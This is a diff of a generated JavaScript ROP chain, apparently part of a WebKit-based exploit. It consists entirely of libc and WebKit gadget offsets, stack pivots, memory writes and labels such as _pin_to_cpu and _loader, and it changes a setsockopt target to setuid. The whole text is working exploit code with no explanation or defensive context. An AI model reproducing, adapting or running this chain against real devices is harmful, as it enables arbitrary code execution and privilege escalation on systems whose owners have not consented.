+libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+392200, //L7525 +//L7523: +libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575 //pop rax +]); +//L7526: +db([7, 0]); // 0x7 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L7528: +ropchain+386432, //L7527 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+282000, //_pin_to_cpu +//L7527: +libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+386504, //L7529 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L7529: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7530: +db([4294967264, 4294967295]); // -0x20 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+386624, //L7534 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+386608, //L7532 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L7532: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7534: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+386768, //L7537 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+386736, //L7535 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+386752, //L7536 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx +]); +//L7535: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7536: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7537: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax +]); +//L7538: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+386896, //L7539 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L7539: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7540: +db([4294965056, 4294967295]); // -0x8c0 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+387016, //L7544 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+387000, //L7542 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L7542: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7544: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+387160, //L7547 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+387128, //L7545 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+387144, //L7546 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx +]); +//L7545: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7546: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7547: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L7549: +ropchain+387264, //L7548 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -54949,175 +54510,331 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+300872, //_pin_to_cpu -//L7726: +ropchain+392200, //L7525 +//L7548: +libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+387336, //L7550 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L7550: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7551: +db([4294965080, 4294967295]); // -0x8a8 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+387456, //L7555 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+387440, //L7553 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L7553: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7555: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+387624, //L7558 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+387640, //L7559 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+387608, //L7556 +webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+387592, //L7557 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L7557: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L7556: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7558: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7559: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+387712, //L7560 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+387728, //L7561 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi +]); +//L7560: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7561: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+387840, //L7564 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+387824, //L7563 +webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -db([4294967288, 4294967295]); // -0x8 +//L7562: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7563: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7564: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +libc_base+793877, //pop rsi +ropchain+387968, //L7566 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+387984, //L7567 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+387952, //L7565 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L7565: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7566: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7567: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+388776, //L7730 +ropchain+388088, //L7570 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+388136, //L7572 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+388120, //L7571 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7728: -db([4294967264, 4294967295]); // -0x20 -set_gadget(libc_base+792472,); //pop rcx -//L7730: +//L7570: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7569: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L7571: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7572: db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+388248, //L7573+8 libc_base+547636, //add rax, rsi +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+388880, //L7733 +ropchain+388240, //L7573 webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp +]); +//L7573: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+388264, //L7573+24 +ropchain+388704, //L7568 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+388864, //L7732 +ropchain+388304, //L7574 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7732: +//L7574: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7575: +db([91, 0]); // 0x5b set_gadget(libc_base+206806,); //pop rdi -//L7733: -db([0, 0]); // 0x0 +//L7576: +db([91, 0]); // 0x5b set_gadgets([ -libc_base+191168, //mov rax, [rdi] +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+389024, //L7736 +ropchain+388440, //L7577 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+388992, //L7734 +ropchain+388472, //L7579 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+389008, //L7735 +ropchain+388456, //L7578 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7734: +//L7577: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7735: +//L7578: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7736: +//L7579: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+389120, //L7738 +ropchain+388568, //L7580 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+388584, //L7581 +webkit_base+7438103, //mov [rsi], rax +webkit_base+432898 //pop r8 ]); -//L7737: -db([4294965208, 4294967295]); // -0x828 +//L7580: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7738: +//L7581: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+389224, //L7741 +ropchain+388696, //L7582 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+388680, //L7583 +webkit_base+7438103, //mov [rsi], rax +libc_base+788575 //pop rax +]); +//L7583: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L7582: +db([0, 0]); // 0x0 +//L7568: +set_gadgets([ +libc_base+793877, //pop rsi +ropchain+388744, //L7584 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7739: -db([4294965056, 4294967295]); // -0x8c0 -set_gadget(libc_base+792472,); //pop rcx -//L7741: +//L7584: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7585: +db([4294965080, 4294967295]); // -0x8a8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+389328, //L7744 +ropchain+388864, //L7589 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+389312, //L7743 +ropchain+388848, //L7587 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7743: +//L7587: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7744: +//L7589: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+389032, //L7592 +webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+389472, //L7747 +ropchain+389048, //L7593 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+389440, //L7745 +ropchain+389016, //L7590 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+389456, //L7746 +ropchain+389000, //L7591 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7745: +//L7591: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L7590: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7746: +//L7592: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7747: +//L7593: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L7749: -ropchain+389576, //L7748 -libc_base+793877 //pop rsi -]); -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+396648, //L7750 -//L7748: -libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi -]); -db([4294967272, 4294967295]); // -0x18 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+788575 //pop rax +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+389144, //L7595 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+389128, //L7594 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L7751: -db([7, 0]); // 0x7 +//L7594: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7595: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L7753: -ropchain+389720, //L7752 +//L7597: +ropchain+389248, //L7596 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -55125,8 +54842,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+300872, //_pin_to_cpu -//L7752: +ropchain+296408, //_loader +//L7596: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -55134,179 +54851,182 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+389808, //L7756 +ropchain+389384, //L7599 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L7754: -db([4294967264, 4294967295]); // -0x20 -set_gadget(libc_base+792472,); //pop rcx -//L7756: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+389912, //L7759 +ropchain+389400, //L7600 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+389896, //L7758 +ropchain+389368, //L7598 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7758: +//L7598: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7759: +//L7599: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7600: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+390056, //L7762 +ropchain+389504, //L7603 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+390024, //L7760 +ropchain+389552, //L7605 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+390040, //L7761 +ropchain+389536, //L7604 webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7760: +//L7603: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L7602: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7761: +//L7604: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7762: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575 //pop rax -]); -//L7763: +//L7605: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+390200, //L7766 +ropchain+389664, //L7606+8 +libc_base+547636, //add rax, rsi +libc_base+186490, //mov rax, [rax] +libc_base+793877, //pop rsi +ropchain+389656, //L7606 webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); -//L7764: -db([4294965056, 4294967295]); // -0x8c0 -set_gadget(libc_base+792472,); //pop rcx -//L7766: +//L7606: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+390304, //L7769 -webkit_base+7438103, //mov [rsi], rax +ropchain+389680, //L7606+24 +ropchain+390120, //L7601 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+390288, //L7768 +ropchain+389720, //L7607 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7768: +//L7607: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7608: +db([8, 0]); // 0x8 set_gadget(libc_base+206806,); //pop rdi -//L7769: -db([0, 0]); // 0x0 +//L7609: +db([8, 0]); // 0x8 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+390448, //L7772 +ropchain+389856, //L7610 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+390416, //L7770 +ropchain+389888, //L7612 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+390432, //L7771 +ropchain+389872, //L7611 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7770: +//L7610: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7771: +//L7611: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7772: +//L7612: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+788575, //pop rax -//L7774: -ropchain+390552, //L7773 +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([8, 0]); // 0x8 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+811575, //pop rsp -ropchain+396648, //L7750 -//L7773: -libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+389984, //L7613 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+390000, //L7614 +webkit_base+7438103, //mov [rsi], rax +webkit_base+432898 //pop r8 +]); +//L7613: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L7614: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -db([4294967272, 4294967295]); // -0x18 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+390112, //L7615 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+390096, //L7616 +webkit_base+7438103, //mov [rsi], rax +libc_base+788575 //pop rax +]); +//L7616: +db([0, 0]); // 0x0 +set_gadget(libc_base+811575,); //pop rsp +//L7615: +db([0, 0]); // 0x0 +//L7601: +set_gadgets([ libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+390624, //L7776 +ropchain+390160, //L7617 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7776: +//L7617: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7775: +//L7618: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7777: +//L7619: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+390760, //L7778 +ropchain+390296, //L7620 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+390792, //L7780 +ropchain+390328, //L7622 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+390776, //L7779 +ropchain+390312, //L7621 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7778: +//L7620: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7779: +//L7621: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7780: +//L7622: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -55316,17 +55036,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+390888, //L7781 +ropchain+390424, //L7623 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+390904, //L7782 +ropchain+390440, //L7624 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L7781: +//L7623: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7782: +//L7624: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -55336,32 +55056,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+391016, //L7783 +ropchain+390552, //L7625 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+391000, //L7784 +ropchain+390536, //L7626 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L7784: +//L7626: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L7783: +//L7625: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+391104, //L7786 +ropchain+390640, //L7628 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+391088, //L7785 +ropchain+390624, //L7627 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L7785: +//L7627: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7786: +//L7628: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -55371,17 +55091,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+391200, //L7787 +ropchain+390736, //L7629 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+391216, //L7788 +ropchain+390752, //L7630 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L7787: +//L7629: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7788: +//L7630: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -55391,19 +55111,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+391328, //L7789 +ropchain+390864, //L7631 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+391312, //L7790 +ropchain+390848, //L7632 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L7790: +//L7632: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L7789: +//L7631: db([0, 0]); // 0x0 -//L7477: +//L5579: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -55579,7 +55299,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -setsockopt_addr, +setuid_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -55619,13 +55339,245 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+392656, //L7791 +ropchain+392192, //L7633 +webkit_base+7438103, //mov [rsi], rax +libc_base+811575 //pop rsp +]); +//L7633: +db([0, 0]); // 0x0 +//L7525: +set_gadget(libc_base+793877,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+206806, //pop rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+793877, //pop rsi +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+105267, //pop rdx +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +libc_base+792472, //pop rcx +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+432898, //pop r8 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+788575, //pop rax +webkit_base+10235455, //pop r9 +libc_base+471355, //mov [rdi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi 